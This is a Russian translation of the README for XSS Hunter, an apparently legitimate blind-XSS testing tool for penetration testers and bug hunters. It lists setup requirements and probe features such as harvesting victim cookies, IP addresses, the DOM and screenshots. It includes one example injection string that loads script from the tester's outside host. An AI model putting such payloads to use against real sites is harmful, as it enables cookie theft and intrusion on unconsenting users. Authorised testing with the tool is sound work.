УСТАРЕЛО — ПОПРОБУЙТЕ НОВУЮ EXPRESS-ВЕРСИЮ
Подробнее здесь: https://github.com/mandatoryprogrammer/xsshunter-express
Исходный код XSS Hunter
Это портативная версия исходного кода, работающего на https://xsshunter.com. Она разработана для простой установки на любой сервер для специалистов по безопасности и охотников за багами, которые хотят тестировать XSS более мощным способом.
Если вы не хотите настраивать это программное обеспечение и предпочитаете сразу начать тестирование, перейдите на https://xsshunter.com.
Требования
- Сервер, работающий (желательно) под Ubuntu.
- Учётная запись Mailgun для отправки email-уведомлений о срабатывании XSS-пейлоадов.
- Доменное имя, желательно короткое, чтобы уменьшить размер пейлоада. Вот хороший сайт для поиска двухбуквенных доменов: https://catechgory.com/. Например, мой домен — xss.ht.
- Wildcard SSL-сертификат, вот недорогой вариант. Он обязателен, так как XSS Hunter идентифицирует пользователей по поддоменам, и все они должны работать по HTTPS. Let's Encrypt использовать нельзя, потому что они не поддерживают wildcard-сертификаты. Я воздержусь от критики бизнес-модели ЦС, но поверьте, это очень глупо, и им стоит очень мало выпустить для вас wildcard-сертификат, так что выбирайте самого дешёвого провайдера (при условии, что он поддерживается во всех браузерах).
Настройка
Информацию о настройке XSS Hunter на собственном сервере см. на странице https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/.
Краткое описание функциональности
При регистрации вы создаёте специальный короткий домен, например yoursubdomain.xss.ht, который идентифицирует ваши XSS-уязвимости и размещает ваш пейлоад. Затем вы используете этот поддомен в своём тестировании XSS с помощью попыток инъекции, таких как "><script src=//yoursubdomain.xss.ht></script>. XSS Hunter автоматически предоставляет XSS-зонды и собирает результирующую информацию при их срабатывании.
Возможности
- Управление срабатываниями XSS-пейлоадов: Управляйте всеми своими XSS-пейлоадами в панели управления учётной записи XSS Hunter.
- Мощные XSS-зонды: При каждом срабатывании зонда на уязвимой странице собирается следующая информация:
- URI уязвимой страницы
- Источник выполнения
- IP-адрес жертвы
- Referer страницы
- User Agent жертвы
- Все не-HTTP-Only куки
- Полный HTML DOM страницы
- Полный скриншот затронутой страницы
- Ответственный HTTP-запрос (если используется совместимый с XSS Hunter инструмент)
- Полноэкранные скриншоты: XSS Hunter зонды используют HTML5 Canvas API для создания полного скриншота уязвимой страницы, на которой сработал XSS-пейлоад. С помощью этой функции вы можете заглянуть во внутренние административные панели, службы поддержки, системы логирования и другие внутренние веб-приложения. Это позволяет создавать более убедительные отчёты, демонстрирующие полное влияние уязвимости вашему клиенту или программе вознаграждений за баги.
- Генерация отчётов в формате Markdown: Каждый отчёт о XSS-пейлоаде содержит предварительно сгенерированный отчёт в формате Markdown. Эти отчёты также совместимы с другими платформами, поддерживающими Markdown, такими как Phabricator, что упрощает сообщение об ошибках в корпоративных тикет-системах.
- Email-отчёты о срабатывании XSS-пейлоадов: Срабатывания XSS-пейлоадов также отправляют подробные email-отчёты, которые можно легко пересылать соответствующим контактным лицам по безопасности для быстрого сообщения о критических ошибках.
- Автоматическая генерация пейлоадов: XSS Hunter автоматически генерирует XSS-пейлоады для использования в тестировании безопасности веб-приложений.
- Корреляция инъекций: Пожалуй, самая мощная функция XSS Hunter — возможность корреляции попыток инъекции со срабатываниями XSS-пейлоадов. Используя совместимый с XSS Hunter инструмент тестирования, вы можете сразу узнать, что вызвало срабатывание конкретного пейлоада (даже спустя недели после попытки инъекции!).
- Опциональное PGP-шифрование для email с пейлоадами: Чрезмерно параноидальны? Доступно клиентское PGP-шифрование, которое зашифрует все данные инъекции в браузере жертвы перед отправкой в сервис XSS Hunter.
- Захват страниц: При срабатывании вашего XSS-пейлоада вы можете указать список относительных путей, которые пейлоад автоматически получит и сохранит. Это полезно для поиска других уязвимостей, таких как плохие политики
crossdomain.xml во внутренних системах, к которым обычно нет доступа.
- Загрузка вторичного пейлоада: У вас есть вторичный пейлоад, который нужно загрузить после того, как XSS Hunter выполнит свою работу? XSS Hunter предоставляет возможность указать вторичный JavaScript-пейлоад для выполнения после завершения сбора данных.
- iOS-веб-приложение: Вы также можете просматривать срабатывания XSS-пейлоадов через iOS-веб-приложение. Просто перейдите по пути
/app и сохраните страницу как веб-приложение на рабочем столе iPhone.
Известные эксплуатации
Хотите внести вклад?
Весь код был создан мной и (по этой причине), вероятно, не является лучшей практикой и определённо нуждается в оптимизации/чистке. Любые pull request приветствуются!